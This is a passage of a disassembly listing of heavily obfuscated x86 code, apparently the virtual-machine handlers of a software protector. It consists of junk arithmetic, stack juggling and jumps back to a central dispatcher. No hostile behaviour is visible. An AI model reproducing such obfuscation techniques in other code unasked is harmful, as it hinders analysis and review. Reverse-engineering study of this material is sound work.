[esp-6E9Ch+arg_6E92+2], eax mov eax, 313949D5h jmp loc_58F04E ; --------------------------------------------------------------------------- loc_58EB70: ; CODE XREF: sub_581EE9+D504j sub edx, 4 xchg edx, [esp-6E9Ch+arg_6E92+2] mov esp, [esp-6E9Ch+arg_6E92+2] mov [esp-6E9Ch+arg_6E92+2], esi push eax jmp loc_58FC3F ; --------------------------------------------------------------------------- loc_58EB85: ; CODE XREF: sub_581EE9+9C07j pop ebx add ebx, ecx mov ecx, [esp-6E8Eh+arg_6E84+2] add esp, 4 xchg ebx, [esp-6E92h+arg_6E8A] pop esp add esp, 4 or eax, eax jz loc_58BCC1 push 7C06h jmp loc_58B0B7 ; --------------------------------------------------------------------------- loc_58EBAD: ; CODE XREF: sub_581EE9+44DEj mov ebp, 33CA173Eh add esi, ebp pop ebp dec esi add esi, 0CC34B803h add ecx, esi pop esi jmp loc_587C99 ; --------------------------------------------------------------------------- loc_58EBC4: ; CODE XREF: sub_581EE9+A2C9j jmp loc_585CC3 ; --------------------------------------------------------------------------- loc_58EBC9: ; CODE XREF: sub_581EE9+6057j mov edi, esp jmp loc_58BE0D ; --------------------------------------------------------------------------- loc_58EBD0: ; CODE XREF: sub_581EE9+6B07j mov ebp, edx pop edx add edx, 0B5E1A80h jmp loc_58BF3E ; --------------------------------------------------------------------------- loc_58EBDE: ; CODE XREF: sub_581EE9+7177j pop bx jmp loc_58F95F ; --------------------------------------------------------------------------- loc_58EBE5: ; CODE XREF: sub_581EE9+EE30j push dword ptr [esp+0] pop ebx add esp, 4 xor bl, al movzx eax, al push dword ptr [edi+eax*4] push ecx push eax mov eax, 33C35B19h inc eax jmp loc_585D08 ; --------------------------------------------------------------------------- loc_58EC01: ; CODE XREF: sub_581EE9+E591j sub al, bl push edx mov dh, 82h sub al, dh pop edx mov ebx, [esp-6EB0h+arg_6EA8] push ebx push esp pop ebx add ebx, 4 add ebx, 4 xchg ebx, [esp-6EACh+arg_6EA4] mov esp, [esp-6EACh+arg_6EA4] jmp loc_591B5A ; --------------------------------------------------------------------------- loc_58EC26: ; CODE XREF: sub_581EE9+892Cj push [esp-6EC6h+arg_6EC2] jmp loc_5874B7 ; --------------------------------------------------------------------------- loc_58EC2F: ; CODE XREF: sub_581EE9+EBFBj push eax mov al, dh jmp loc_586A8C ; --------------------------------------------------------------------------- loc_58EC37: ; CODE XREF: sub_581EE9+B1C8j push [esp-6ECCh+arg_6EC2+2] pop esi add esp, 4 push edi mov edi, 70CA3E5Fh or esi, edi pop edi and esi, 139E5574h push ebx mov ebx, 7BE91DDDh neg ebx inc ebx xor ebx, 128261A5h sub ebx, 5DAE3547h jmp loc_589D58 ; --------------------------------------------------------------------------- loc_58EC6A: ; CODE XREF: sub_581EE9+68EAj shl edi, 2 push ebx push edx mov edx, 5D9F6A3Dh xor edx, 6B94761Eh jmp loc_5892DE ; --------------------------------------------------------------------------- loc_58EC7F: ; CODE XREF: sub_581EE9+4B40j or edx, ebx pop ebx push edi mov edi, 3E6C288Ah or edx, edi pop edi push esi jmp loc_58D9B1 ; --------------------------------------------------------------------------- loc_58EC91: ; CODE XREF: sub_581EE9+85D0j push esi mov esi, 2B5E4EABh push ebp mov ebp, 90956B6h jmp loc_5889F5 ; --------------------------------------------------------------------------- loc_58ECA2: ; DATA XREF: sub_581EE9+3C7Fo mov cx, word ptr [esp-6E7Ch+arg_6E72+2] push 713Dh mov [esp-6E78h+arg_6E6E+2], edx mov edx, esp jmp loc_587F02 ; --------------------------------------------------------------------------- loc_58ECB5: ; CODE XREF: sub_581EE9+E6F1j push ecx push esi push 3D072580h pop esi jmp loc_585D83 ; --------------------------------------------------------------------------- loc_58ECC2: ; CODE XREF: sub_581EE9+BBC9j movzx ax, byte ptr [eax] push small 37Ch jmp loc_5879EB ; --------------------------------------------------------------------------- loc_58ECCF: ; CODE XREF: sub_581EE9+5E14j pop edi and ebp, 65C64BCDh xor ebp, 2DAB125Ah add ebp, 0D7D6EF32h sub edi, 671025CDh add edi, ebp add edi, 671025CDh pop ebp jmp loc_58C752 ; --------------------------------------------------------------------------- loc_58ECF6: ; CODE XREF: sub_581EE9+3DE8j add [esp-6ED6h+arg_6ED2], edi pop edi push [esp-6EDAh+arg_6ED2] jmp loc_586C5D ; --------------------------------------------------------------------------- loc_58ED03: ; CODE XREF: sub_581EE9+E088j mul ecx push 118Ah mov [esp-6ED2h+arg_6ECA], edx jmp loc_58B89C ; --------------------------------------------------------------------------- loc_58ED12: ; DATA XREF: sub_581EE9+3B13o push dword ptr [edi+3Ch] push ebx mov ebx, 0F560696h jmp loc_590EF8 ; --------------------------------------------------------------------------- loc_58ED20: ; CODE XREF: sub_581EE9+98E3j sub bl, ch pop cx sub bl, 0E3h push 28D0h jmp loc_59102E ; --------------------------------------------------------------------------- loc_58ED31: ; CODE XREF: sub_581EE9+4E90j push ebp mov ebp, 150E2946h sub ecx, ebp pop ebp add eax, ecx mov ecx, [esp-6ECAh+arg_6EC2] add esp, 4 push ecx mov ecx, 15CA439Bh sub eax, ecx pop ecx sub eax, ebx add eax, 15CA439Bh jmp loc_5913B9 ; --------------------------------------------------------------------------- loc_58ED5A: ; CODE XREF: sub_581EE9+BAB9j mov esp, [esp-6EBAh+arg_6EB2] jmp loc_58A492 ; --------------------------------------------------------------------------- loc_58ED62: ; CODE XREF: sub_581EE9+D7B0j not ecx jmp loc_58D315 ; --------------------------------------------------------------------------- loc_58ED69: ; CODE XREF: sub_581EE9+B29Aj push edi mov edi, esp push edx mov edx, 4 jmp loc_589DC9 ; --------------------------------------------------------------------------- loc_58ED77: ; CODE XREF: sub_581EE9+7FE3j mov edx, [esp-6EB4h+arg_6EAC] jmp loc_58D8E1 ; --------------------------------------------------------------------------- loc_58ED7F: ; CODE XREF: sub_581EE9+DD2Aj xor eax, 467127A9h jmp loc_58FC8C ; --------------------------------------------------------------------------- loc_58ED89: ; CODE XREF: sub_581EE9+E0CAj mov cx, word ptr [esp-6EB4h+arg_6EAC] jmp loc_5905A0 ; --------------------------------------------------------------------------- loc_58ED92: ; CODE XREF: sub_581EE9+EEAAj push edx mov edx, 2 add edi, edx pop edx sub esp, 4 mov [esp-6EB0h+arg_6EA8], edi push [esp-6EB0h+arg_6EAC] pop edi pop [esp-6EB0h+arg_6EA8] jmp loc_58EF47 ; --------------------------------------------------------------------------- loc_58EDB1: ; CODE XREF: sub_581EE9+FD1Cj add eax, 39A35B8Ch push dword ptr [eax] add [esp-6EB0h+arg_6EA8], 546E5614h mov ecx, [esp-6EB0h+arg_6EA8] push ebp mov ebp, esp add ebp, 4 push edx mov edx, 4 add ebp, edx mov edx, [esp-6EA8h+arg_6E9E+2] jmp loc_58DAA3 ; --------------------------------------------------------------------------- loc_58EDDB: ; CODE XREF: sub_581EE9+50A8j add esp, 4 push ecx jmp loc_58FE4E ; --------------------------------------------------------------------------- loc_58EDE7: ; CODE XREF: sub_581EE9+DC52j xor esi, [esp-6EFEh+arg_6EF6] mov esp, [esp-6EFEh+arg_6EF6] push ecx mov ch, 5Fh jmp loc_58DB4D ; --------------------------------------------------------------------------- loc_58EDF5: ; CODE XREF: sub_581EE9+DDCDj mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp-6EFAh+arg_6EF0+2] pop esp mov [esp-6EFEh+arg_6EF6], ecx jmp loc_5884E3 ; --------------------------------------------------------------------------- loc_58EE0F: ; CODE XREF: sub_581EE9+B285j add ebp, 4 add ebp, 4 xchg ebp, [esp-6ECEh+arg_6EC6] mov esp, [esp-6ECEh+arg_6EC6] push [esp-6ECEh+arg_6EC6] mov ecx, [esp-6ECAh+arg_6EC2] add esp, 4 push eax push 7EF6h mov [esp-6EC6h+arg_6EBE], esp add [esp-6EC6h+arg_6EBE], 4 pop eax jmp loc_587325 ; --------------------------------------------------------------------------- loc_58EE3D: ; CODE XREF: sub_581EE9+69F5j mov esi, 64844B00h inc esi and esi, 11581958h and esi, 0A2C0BD0h not esi add esi, 4BB542ACh mov ecx, esi pop esi or ecx, 294022Ch push 6FA8h mov [esp-6EC0h+arg_6EB6+2], ebp mov ebp, 0F85BCDD3h jmp loc_58715E ; --------------------------------------------------------------------------- loc_58EE72: ; CODE XREF: sub_581EE9+3F8Cj pop edi dec ebp jmp loc_58E877 ; --------------------------------------------------------------------------- loc_58EE79: ; CODE XREF: sub_581EE9+DA3Aj mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp-6EDCh+arg_6ED2+2] pop esp mov [esp-6EE0h+arg_6ED6+2], esi mov esi, 3DAF1E0Fh sub ebx, esi push [esp-6EE0h+arg_6ED6+2] pop esi add esp, 4 jmp loc_58AE99 ; --------------------------------------------------------------------------- loc_58EEA1: ; CODE XREF: sub_581EE9+9B52j push edi push 22D4F4Fh pop edi or eax, edi pop edi sub eax, 18274740h sub ebx, eax pop eax jmp loc_5903CA ; --------------------------------------------------------------------------- loc_58EEB8: ; CODE XREF: sub_581EE9+602Dj mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp+0] pop esp mov [esp-6EBCh+arg_6EB2+2], edx push 1 mov edx, [esp+0] jmp loc_58A3F2 ; --------------------------------------------------------------------------- loc_58EED7: ; CODE XREF: sub_581EE9+87BEj pop esp mov [esp-6EC6h+arg_6EBE], eax mov eax, 45ED4CD8h and edx, eax pop eax neg edx push eax mov eax, 50D35B78h or eax, 5A1C350Fh sub eax, 6B832264h xor eax, 71C0E44h add eax, 3C01F2Ch or eax, 11414EFDh sub eax, 0CF93635Bh or edx, eax pop eax not edx sub edx, 3EB44FD6h add esi, edx jmp loc_591626 ; --------------------------------------------------------------------------- loc_58EF1B: ; CODE XREF: sub_581EE9+C0B8j mov edx, 0AF823ACh push edx pop edi pop edx add edi, 0FFFFFFFFh add edi, 4AE236A3h add edi, 740C72F2h jmp loc_5860AE ; --------------------------------------------------------------------------- loc_58EF37: ; CODE XREF: sub_581EE9+B7FAj mov [esp-6EA8h+arg_6E9E+2], eax mov eax, 4C6312B4h sub ebx, eax pop eax jmp loc_58D7B0 ; --------------------------------------------------------------------------- loc_58EF47: ; CODE XREF: sub_581EE9+CEC3j mov esp, [esp-6EB4h+arg_6EAC] or byte ptr [esp-6EB4h+arg_6EAC], al pushf jmp loc_585CC3 ; --------------------------------------------------------------------------- loc_58EF53: ; CODE XREF: sub_581EE9+F7C5j xchg ebx, [esp-6EB0h+arg_6EA8] pop esp add ebx, edi pop edi push ebx push dword ptr [esp+4] mov ebx, [esp-6EB0h+arg_6EA8] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] jmp loc_58D1C5 ; --------------------------------------------------------------------------- loc_58EF76: ; CODE XREF: sub_581EE9+6F2Dj or ebp, 7B68117Bh xor ebp, 7C173D2Fh mov esi, ebp pop ebp push eax mov eax, 3EAF2574h add ebp, 60552E60h sub ebp, eax sub ebp, 60552E60h pop eax push edx jmp loc_590F7A ; --------------------------------------------------------------------------- loc_58EFA0: ; CODE XREF: sub_581EE9+4049j push 4 pop edi add ebx, 401662ADh add ebx, edi push ecx mov ecx, 73E73B1h dec ecx shl ecx, 5 inc ecx dec ecx or ecx, 2BF96652h jmp loc_5902E4 ; --------------------------------------------------------------------------- loc_58EFC5: ; CODE XREF: sub_581EE9+D983j inc ebx sub ebx, 5C4B1427h jmp loc_58ACB5 ; --------------------------------------------------------------------------- loc_58EFD1: ; CODE XREF: sub_581EE9+D962j pop edi jmp loc_58D717 ; --------------------------------------------------------------------------- loc_58EFD7: ; CODE XREF: sub_581EE9+B21Bj pop ebx and eax, ebp mov ebp, [esp-6ECAh+arg_6EC2] add esp, 4 or edx, eax shl edx, 1 push edx sub esp, 4 mov [esp-6EC6h+arg_6EBE], eax push edi push ebp push 790077CAh pop ebp add ebp, 175474E4h add ebp, 0C6173546h push ebx mov ebx, ebp push ebx pop edi pop ebx jmp loc_58D25A ; --------------------------------------------------------------------------- loc_58F010: ; CODE XREF: sub_581EE9+7E10j inc ch jmp loc_58F268 ; --------------------------------------------------------------------------- loc_58F017: ; CODE XREF: sub_581EE9+4041j add esi, 4 sub esi, 4 xchg esi, [esp-6ECCh+arg_6EC2+2] pop esp mov [esp-6ED0h+arg_6EC6+2], ebx push 3B13h mov [esp-6ECCh+arg_6EC2+2], esp add [esp-6ECCh+arg_6EC2+2], 4 pop ebx jmp loc_590595 ; --------------------------------------------------------------------------- loc_58F039: ; CODE XREF: sub_581EE9+C136j mov [esp-6E88h+arg_6E80], edi mov edi, esp sub esp, 4 mov [esp-6E84h+arg_6E7C], ebx mov ebx, 4 jmp loc_586F17 ; --------------------------------------------------------------------------- loc_58F04E: ; CODE XREF: sub_581EE9+CC82j and eax, 79764080h add eax, 0FFFFFFFFh push edx push eax jmp loc_58E7AA ; --------------------------------------------------------------------------- loc_58F05D: ; CODE XREF: sub_581EE9+5B57j push [esp-6EC6h+arg_6EBE] jmp loc_58B6E5 ; --------------------------------------------------------------------------- loc_58F065: ; CODE XREF: sub_581EE9+63CEj add bl, al add bl, 0D4h jmp loc_58B497 ; --------------------------------------------------------------------------- loc_58F06F: ; CODE XREF: sub_581EE9+8C84j mov ebp, 9FE7B04h or ebp, 1FE05096h jmp loc_58BFEB ; --------------------------------------------------------------------------- loc_58F07F: ; CODE XREF: sub_581EE9+45ADj push dword ptr [edi+eax*4] jmp loc_585CC3 ; --------------------------------------------------------------------------- loc_58F087: ; CODE XREF: sub_581EE9+4036j sub [edi+24h], edx mov edx, [esp-6ECCh+arg_6EC2+2] add esp, 4 loc_58F090: ; CODE XREF: sub_581EE9+FD35j push ebx push esi mov esi, 3AF271C6h xor [esp-6EC8h+arg_6EC2+2], esi pop esi jmp loc_587D02 ; --------------------------------------------------------------------------- loc_58F0A1: ; CODE XREF: sub_581EE9+F684j mov ebp, esp jmp loc_586723 ; --------------------------------------------------------------------------- loc_58F0A8: ; CODE XREF: sub_581EE9+8BA4j mov ecx, 26143551h xor ebp, ecx mov ecx, [esp-6EC8h+arg_6EBE+2] jmp loc_589915 ; --------------------------------------------------------------------------- loc_58F0B7: ; CODE XREF: sub_581EE9+BEA7j add edx, 2 sub esp, 4 mov [esp-6ED4h+arg_6ECA+2], edx jmp loc_5866F3 ; --------------------------------------------------------------------------- loc_58F0C8: ; CODE XREF: sub_581EE9+60A0j dec ebp jmp loc_58960D ; --------------------------------------------------------------------------- loc_58F0CE: ; CODE XREF: sub_581EE9+64CBj xor ah, 0BEh mov dh, ah pop eax add al, 2Dh sub al, dh push ebx push eax mov ah, 0DDh jmp loc_58A2D0 ; --------------------------------------------------------------------------- loc_58F0E1: ; CODE XREF: sub_581EE9+8F8Ej inc ebp add ebp, 0C6C4DE9Ah add edi, ebp jmp loc_589509 ; --------------------------------------------------------------------------- loc_58F0EF: ; CODE XREF: sub_581EE9+8A34j push dword ptr [eax] jmp loc_585CC3 ; --------------------------------------------------------------------------- loc_58F0F6: ; CODE XREF: sub_581EE9+F390j mov edi, esp push ebx jmp loc_58E092 ; --------------------------------------------------------------------------- loc_58F0FE: ; CODE XREF: sub_581EE9+9DB4j push ebx pop edi push [esp-6EE8h+arg_6EE0] pop ebx add esp, 4 sub edi, 1B185F5Fh sub esp, 4 mov [esp-6EE8h+arg_6EE0], ecx jmp loc_585DC7 ; --------------------------------------------------------------------------- loc_58F11E: ; CODE XREF: sub_581EE9+AA32j add dl, 84h sub bl, dl jmp loc_586CB5 ; --------------------------------------------------------------------------- loc_58F128: ; CODE XREF: sub_581EE9+5269j mov [esp-6EE0h+arg_6ED6+2], edx mov edx, 4 add ebp, 5C9E58CEh jmp loc_58F58C ; --------------------------------------------------------------------------- loc_58F13B: ; CODE XREF: sub_581EE9+AA03j pop eax push ebp mov ebp, 719C7337h sub eax, ebp pop ebp pop ebx push dword ptr [edi+eax*4] sub [esp-6EC4h+arg_6EBA+2], 0CB26063h jmp loc_58A47E ; --------------------------------------------------------------------------- loc_58F155: ; CODE XREF: sub_581EE9+8A8Cj pop ebp push 7024h mov [esp-6ECCh+arg_6EC2+2], ecx mov ecx, 6AB6570Bh xor ecx, 41246239h add eax, ecx mov ecx, [esp-6ECCh+arg_6EC2+2] add esp, 4 push 3469h mov [esp-6ECCh+arg_6EC2+2], ecx jmp loc_58EA8C ; --------------------------------------------------------------------------- loc_58F17E: ; CODE XREF: sub_581EE9+BAC3j shl edx, 2 push ebx mov ebx, 5F9E1506h xor edx, ebx pop ebx sub edx, 4EB94B76h jmp loc_58BEE7 ; --------------------------------------------------------------------------- loc_58F195: ; CODE XREF: sub_581EE9+56D1j mov bl, ch jmp loc_58E317 ; --------------------------------------------------------------------------- loc_58F19C: ; CODE XREF: sub_581EE9+C89Fj xor edi, 4CBA4C2Dh sub edi, 0DEE2FCC5h xor eax, edi jmp loc_58C3D3 ; --------------------------------------------------------------------------- loc_58F1AF: ; CODE XREF: sub_581EE9+4C85j sub edi, 3E0D71FBh jmp loc_58C822 ; --------------------------------------------------------------------------- loc_58F1BA: ; CODE XREF: sub_581EE9+60DBj xor eax, [esp-6ED2h+arg_6ECA] xor [esp-6ED2h+arg_6ECA], eax xor eax, [esp-6ED2h+arg_6ECA] mov esp, [esp-6ED2h+arg_6ECA] jmp loc_5888A9 ; --------------------------------------------------------------------------- loc_58F1CB: ; CODE XREF: sub_581EE9+4B9Ej add eax, 21051CB2h pop edx sub eax, 799F01F8h jmp loc_58D897 ; --------------------------------------------------------------------------- loc_58F1DB: ; CODE XREF: sub_581EE9+C126j push ebx push edi mov edi, 7D817D48h jmp loc_590358 ; --------------------------------------------------------------------------- loc_58F1E7: ; CODE XREF: sub_581EE9+756Fj add esp, 4 jmp loc_58BCC1 ; --------------------------------------------------------------------------- loc_58F1F2: ; CODE XREF: sub_581EE9+9831j add dh, 36h add dh, 0ABh xor dh, 0B6h jmp loc_586976 ; --------------------------------------------------------------------------- loc_58F200: ; CODE XREF: sub_581EE9+81FBj or dh, ah jmp loc_589AAB ; --------------------------------------------------------------------------- loc_58F207: ; CODE XREF: sub_581EE9+901Bj add esp, 4 and esi, 1B4A6CF4h add esi, 1 shr esi, 5 sub esp, 4 jmp loc_58C265 ; --------------------------------------------------------------------------- loc_58F224: ; DATA XREF: sub_581EE9+3CE3o push small word ptr [edx] jmp loc_585CC3 ; --------------------------------------------------------------------------- loc_58F22C: ; CODE XREF: sub_581EE9+ACB5j add bl, 66h add bl, cl jmp loc_58A738 ; --------------------------------------------------------------------------- loc_58F236: ; DATA XREF: sub_581EE9+3BBFo pop dword ptr [edi+40h] jmp loc_585CC3 ; --------------------------------------------------------------------------- loc_58F23E: ; CODE XREF: sub_581EE9+734Bj pop ebp add edx, 0C0488105h add esi, edx pop edx push eax push ecx push ebp mov ebp, 202C74C5h mov ecx, 51267696h jmp loc_58B585 ; --------------------------------------------------------------------------- loc_58F25A: ; CODE XREF: sub_581EE9+A68Aj push small 18FCh mov word ptr [esp-6EA2h+arg_6E9A], bx push eax jmp loc_58BAF5 ; --------------------------------------------------------------------------- loc_58F268: ; CODE XREF: sub_581EE9+D129j neg ch xor ch, 0FEh sub al, ch jmp loc_58A062 ; --------------------------------------------------------------------------- loc_58F274: ; CODE XREF: sub_581EE9+6D65j push ecx mov ecx, esp jmp loc_58E148 ; --------------------------------------------------------------------------- loc_58F27C: ; CODE XREF: sub_581EE9+9780j add eax, 33794F86h add eax, ebp push edx jmp loc_58AAA1 ; --------------------------------------------------------------------------- loc_58F289: ; CODE XREF: sub_581EE9+9A7Aj xchg ebp, [esp-6ED0h+arg_6EC6+2] mov esp, [esp-6ED0h+arg_6EC6+2] shr eax, 0Ch xor eax, ecx jmp loc_58C608 ; --------------------------------------------------------------------------- loc_58F299: ; CODE XREF: sub_581EE9+454Fj mov [esp-6F02h+arg_6EFA], eax jmp loc_587A61 ; --------------------------------------------------------------------------- loc_58F2A1: ; CODE XREF: sub_581EE9+7117j sub [esp-6EEAh+arg_6EE0+2], 6EC7271Bh sub [esp-6EEAh+arg_6EE0+2], 2C39270Dh pop ebx push eax mov eax, 72668A7h xor eax, 4589289Fh add eax, 0BF65E9E9h jmp loc_588470 ; --------------------------------------------------------------------------- loc_58F2C5: ; DATA XREF: sub_581EE9+3BF3o mov ax, word ptr [esp-6EEAh+arg_6EE0+2] sub esp, 4 mov [esp-6EE6h+arg_6EDC+2], ecx jmp loc_58BC29 ; --------------------------------------------------------------------------- loc_58F2D4: ; CODE XREF: sub_581EE9+F07Dj sub eax, 44C35147h sub eax, 56497460h jmp loc_58C3F4 ; --------------------------------------------------------------------------- loc_58F2E3: ; CODE XREF: sub_581EE9+C010j xor ecx, 0A854580Bh mov esi, ecx pop ecx jmp loc_5890E9 ; --------------------------------------------------------------------------- loc_58F2F1: ; DATA XREF: sub_581EE9+3D23o push [esp-6EC2h+arg_6EBA] pop ecx push edi mov edi, esp jmp loc_5893B2 ; --------------------------------------------------------------------------- loc_58F2FD: ; CODE XREF: sub_581EE9+AAF6j shr dh, 4 push ecx mov cl, 59h add dh, cl pop ecx push ecx mov cl, dh mov bl, cl mov ecx, [esp-6EFEh+arg_6EF6] add esp, 4 pop edx jmp loc_58BA84 ; --------------------------------------------------------------------------- loc_58F31A: ; CODE XREF: sub_581EE9+B457j push ebp mov ebp, esp jmp loc_58FC18 ; --------------------------------------------------------------------------- loc_58F322: ; CODE XREF: sub_581EE9+DFFCj add esi, ebp pop ebp push eax mov eax, 4A5C78F9h shl eax, 2 add eax, 0D68E1C20h jmp loc_589FB5 ; --------------------------------------------------------------------------- loc_58F338: ; CODE XREF: sub_581EE9+AB54j add esi, 4 xchg esi, [esp-6EBAh+arg_6EB2] jmp loc_5873C0 ; --------------------------------------------------------------------------- loc_58F346: ; CODE XREF: sub_581EE9+9333j push ecx mov ecx, 5EF40D04h push ebx mov ebx, 1D400DDDh xor ecx, ebx pop ebx sub ecx, 67F331A5h push ebx jmp loc_58D810 ; --------------------------------------------------------------------------- loc_58F361: ; CODE XREF: sub_581EE9+7B3Fj or edx, esi pop esi jmp loc_58CE08 ; --------------------------------------------------------------------------- loc_58F369: ; CODE XREF: sub_581EE9+60B8j pop ebx pop [esp-6ED4h+arg_6ECA+2] mov esp, [esp-6ED8h+arg_6ECE+2] div cx push small 4FB9h mov word ptr [esp-6ED6h+arg_6ECE], dx push ax pushf jmp loc_585CC3 ; --------------------------------------------------------------------------- loc_58F383: ; CODE XREF: sub_581EE9+A39Ej mov eax, [esp-6EF2h+arg_6EE8+2] jmp loc_5908E7 ; --------------------------------------------------------------------------- loc_58F38B: ; CODE XREF: sub_581EE9+C53Aj sub dl, 27h sub dl, 34h sub dl, cl add dl, 34h add dl, 27h pop cx add al, 43h sub al, dl sub al, 43h pop edx sub esp, 4 mov [esp-6E8Ch+arg_6E84], ebx push eax jmp loc_5863AE ; --------------------------------------------------------------------------- loc_58F3AE: ; CODE XREF: sub_581EE9+6F50j mov eax, [esp-6F0Ah+arg_6F02] add esp, 4 add edx, 8FE3C54h xor edi, edx pop edx dec edi sub esp, 4 mov [esp-6F0Eh+arg_6F06], edi not [esp-6F0Eh+arg_6F06] pop edi jmp loc_58C06E ; --------------------------------------------------------------------------- loc_58F3D3: ; CODE XREF: sub_581EE9+4EECj mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp-6ECAh+arg_6EC2] pop esp sub eax, ebx push edx mov edx, esp add edx, 4 jmp loc_58EB70 ; --------------------------------------------------------------------------- loc_58F3F2: ; CODE XREF: sub_581EE9+B234j xor ecx, 0EC999B18h mov edi, ecx jmp loc_58BE9E ; --------------------------------------------------------------------------- loc_58F3FF: ; CODE XREF: sub_581EE9+EF50j mov [esp-6EC2h+arg_6EBA], edi jmp loc_58BFF7 ; --------------------------------------------------------------------------- loc_58F407: ; CODE XREF: sub_581EE9+5D3Aj shr bl, 4 shr bl, 7 jmp loc_58EA85 ; --------------------------------------------------------------------------- loc_58F412: ; CODE XREF: sub_581EE9+7C2Ej add ecx, edi sub ecx, 3EDE407Fh pop edi sub ecx, 6B9A076Ch xor ecx, 5E440FE3h add ebx, ecx mov ecx, [esp-6EE4h+arg_6EDC] jmp loc_58AB61 ; --------------------------------------------------------------------------- loc_58F431: ; CODE XREF: sub_581EE9+C239j mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp-6EF2h+arg_6EE8+2] mov esp, [esp-6EF2h+arg_6EE8+2] push [esp-6EF2h+arg_6EE8+2] jmp loc_587BB0 ; --------------------------------------------------------------------------- loc_58F44A: ; CODE XREF: sub_581EE9+DB09j pop ebx not esi push ebx mov ebx, 748D373Ch add esi, ebx mov ebx, [esp-6EEEh+arg_6EE4+2] add esp, 4 add esi, 0D30579F6h add eax, esi pop esi or eax, eax jnz loc_58FAC1 push 43E5h mov [esp-6EF2h+arg_6EE8+2], ecx push 561Ah mov [esp-6EEEh+arg_6EE4+2], eax mov eax, 4E425CC5h sub esp, 4 mov [esp-6EEAh+arg_6EE0+2], ebx jmp loc_5910CE ; --------------------------------------------------------------------------- loc_58F48F: ; CODE XREF: sub_581EE9+DA62j ; sub_581EE9+ED3Aj push 1BCEh mov [esp-6EE6h+arg_6EDC+2], ebx jmp loc_58C758 ; --------------------------------------------------------------------------- loc_58F49C: ; CODE XREF: sub_581EE9+EF70j neg ah xchg ah, bl jmp loc_5918BC ; --------------------------------------------------------------------------- loc_58F4A5: ; CODE XREF: sub_581EE9+9DDFj push ebp push ebx push 7F803BCCh pop ebx add ebx, 1 jmp loc_58F99E ; --------------------------------------------------------------------------- loc_58F4B5: ; CODE XREF: sub_581EE9+F881j push esi sub esp, 4 jmp loc_5888DA ; --------------------------------------------------------------------------- loc_58F4C1: ; CODE XREF: sub_581EE9+A7F5j pop esp jmp loc_58FED7 ; --------------------------------------------------------------------------- loc_58F4C7: ; DATA XREF: sub_581EE9+3CEBo lodsd push ecx push edx mov edx, 4E8C55E0h push ebp mov ebp, 11D950F0h dec ebp shr ebp, 4 xor ebp, 13C2B789h add edx, ebp jmp loc_58C584 ; --------------------------------------------------------------------------- loc_58F4E6: ; CODE XREF: sub_581EE9+6FC5j mov ecx, edi pop edi sub ebp, ecx pop ecx jmp loc_586A49 ; --------------------------------------------------------------------------- loc_58F4F1: ; CODE XREF: sub_581EE9+7F47j pop ebp dec edx sub edx, 6D117FC1h sub edx, 0FFFFFFFFh sub edx, 0E0C8B4EDh mov ebx, edx pop edx add ebx, 4DB20E0Bh sub ebx, 706552B4h xor edi, ebx pop ebx and ecx, edi jmp loc_58D15E ; --------------------------------------------------------------------------- loc_58F51B: ; CODE XREF: sub_581EE9+6E66j jmp loc_585CC3 ; --------------------------------------------------------------------------- loc_58F520: ; CODE XREF: sub_581EE9+D785j mov esi, [esp+0] add esp, 4 push eax mov eax, 7830664h xor eax, 0B0643A3h xor esi, eax jmp loc_58BC5C ; --------------------------------------------------------------------------- loc_58F53B: ; CODE XREF: sub_581EE9+CC27j mov edx, esp push eax mov eax, 242B4FD2h or eax, 1F24007Ah not eax xor eax, 0C0D0B001h add edx, eax pop eax push edi mov edi, 4 add edx, 51216359h add edx, edi sub edx, 51216359h pop edi xchg edx, [esp-6ECCh+arg_6EC2+2] mov esp, [esp-6ECCh+arg_6EC2+2] add esp, 4 push [esp-6ED0h+arg_6EC6+2] mov edx, [esp-6ECCh+arg_6EC2+2] push ecx mov ecx, esp add ecx, 4 jmp loc_58FCEB ; --------------------------------------------------------------------------- loc_58F584: ; CODE XREF: sub_581EE9+B3B4j pop [esp-6EF2h+arg_6EE8+2] jmp loc_58BB72 ; --------------------------------------------------------------------------- loc_58F58C: ; CODE XREF: sub_581EE9+D24Dj add ebp, edx sub ebp, 5C9E58CEh mov edx, [esp-6EE0h+arg_6ED6+2] jmp loc_5881F9 ; --------------------------------------------------------------------------- loc_58F59C: ; DATA XREF: sub_581EE9+3D57o push dword ptr fs:[edx] jmp loc_585CC3 ; --------------------------------------------------------------------------- loc_58F5A4: ; CODE XREF: sub_581EE9+F253j not edi xor edi, 0CBBE2260h sub eax, edi pop edi sub eax, esi push edx jmp loc_58A7D4 ; --------------------------------------------------------------------------- loc_58F5B7: ; CODE XREF: sub_581EE9+F941j mov ecx, [esp-6EDCh+arg_6ED2+2] sub esp, 4 mov [esp-6ED8h+arg_6ECE+2], eax jmp loc_5906DF ; --------------------------------------------------------------------------- loc_58F5C8: ; CODE XREF: sub_581EE9+DBF6j mov [esp-6ED8h+arg_6ECE+2], edx mov edx, 4 add [esp-6ED8h+arg_6ED2+2], edx pop edx mov edx, [esp-6EDCh+arg_6ED2+2] jmp loc_5908AA ; --------------------------------------------------------------------------- loc_58F5DD: ; CODE XREF: sub_581EE9+A34Ej pop eax add [esp-6ECCh+arg_6EC6+2], ebp pop ebp add [esp-6ED0h+arg_6EC6+2], eax sub [esp-6ED0h+arg_6EC6+2], 66725480h push eax jmp loc_590C28 ; --------------------------------------------------------------------------- loc_58F5F3: ; CODE XREF: sub_581EE9+96CEj pop ebx add ebx, 4 sub esp, 4 mov [esp-6ECAh+arg_6EC2], edx jmp loc_587496 ; --------------------------------------------------------------------------- loc_58F608: ; CODE XREF: sub_581EE9+8859j push esp pop ecx add ecx, 4 push 1D2Fh mov [esp-6EC2h+arg_6EBA], ebx mov ebx, 4 add ecx, ebx push [esp-6EC2h+arg_6EBA] pop ebx add esp, 4 xor ecx, [esp-6EC6h+arg_6EBE] xor [esp-6EC6h+arg_6EBE], ecx xor ecx, [esp-6EC6h+arg_6EBE] jmp loc_58CE86 ; --------------------------------------------------------------------------- loc_58F634: ; CODE XREF: sub_581EE9+C645j sub ebx, 4ED4419h xor ebx, 0B1486BA0h add edi, 79040569h add edi, ebx push ebx mov ebx, 3B3348E2h xor ebx, 42374D8Bh sub edi, ebx pop ebx pop ebx push 2E5Fh mov [esp-6F0Eh+arg_6F06], ecx mov ecx, 